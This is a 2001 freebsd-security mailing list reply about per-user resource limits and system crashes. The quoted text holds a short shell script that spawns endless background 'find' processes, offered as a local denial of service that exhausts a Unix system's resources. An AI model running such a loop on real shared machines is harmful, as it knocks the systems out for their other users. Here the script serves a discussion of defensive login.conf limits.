Date: Wed, 11 Jul 2001 00:07:51 -0400 From: Mike Tancsa <mike@sentex.net> To: Ryan <ryanpek@swbell.net>, freebsd-security@freebsd.org Subject: Re: Kernel Panic Message-ID: <4.2.2.20010711000547.05af8f00@192.168.0.12> In-Reply-To: <000901c109be$6e1a5420$45d8db40@mhx800> References: <Pine.BSF.4.33.0107102047420.261-100000@rlee.leefam.org>
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At 11:03 PM 7/10/2001 -0500, Ryan wrote:
>login.conf my boy..
How can you limit the amount of disk i/o per user in login.conf ? e.g. 10
of the finds, especially if its a big disk will busy out the drive.
---Mike
>----- Original Message -----
>From: "Robert E. Lee" <rel@gulbransen.com>
>To: "Dag-Erling Smorgrav" <des@ofug.org>
>Cc: "Ted Mittelstaedt" <tedm@toybox.placo.com>; <js43064n@pace.edu>;
><freebsd-security@FreeBSD.ORG>
>Sent: Tuesday, July 10, 2001 10:54 PM
>Subject: Re: Kernel Panic
>
>
> > On 24 Jun 2001, Dag-Erling Smorgrav wrote:
> > > "Ted Mittelstaedt" <tedm@toybox.placo.com> writes:
> > > A disk error would not crash the system. Please stop spouting
> > > unfounded (though highly imaginative) bullshit.
> >
> > Not to get into a pissing contest, but I have had disk errors in the past
> > that made my system crash.
> >
> > On the original thread, when you have a local account on a box, you can
> > usually use this script as an effective DoS:
> >
> > $ more foo.sh
> > #!/bin/sh
> >
> > while [ 1 -eq 1 ]; do
> > find / -name foo &
> > done
> >
> > The default settings for most Unix OS's allow that type of script to
> > consume enough resources to make the system unusable.
> >
> > Robert E. Lee
> >
> >
> >
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